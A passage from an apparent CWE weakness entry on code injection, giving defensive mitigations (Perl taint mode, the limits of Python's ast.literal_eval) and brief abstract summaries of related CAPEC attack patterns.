Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.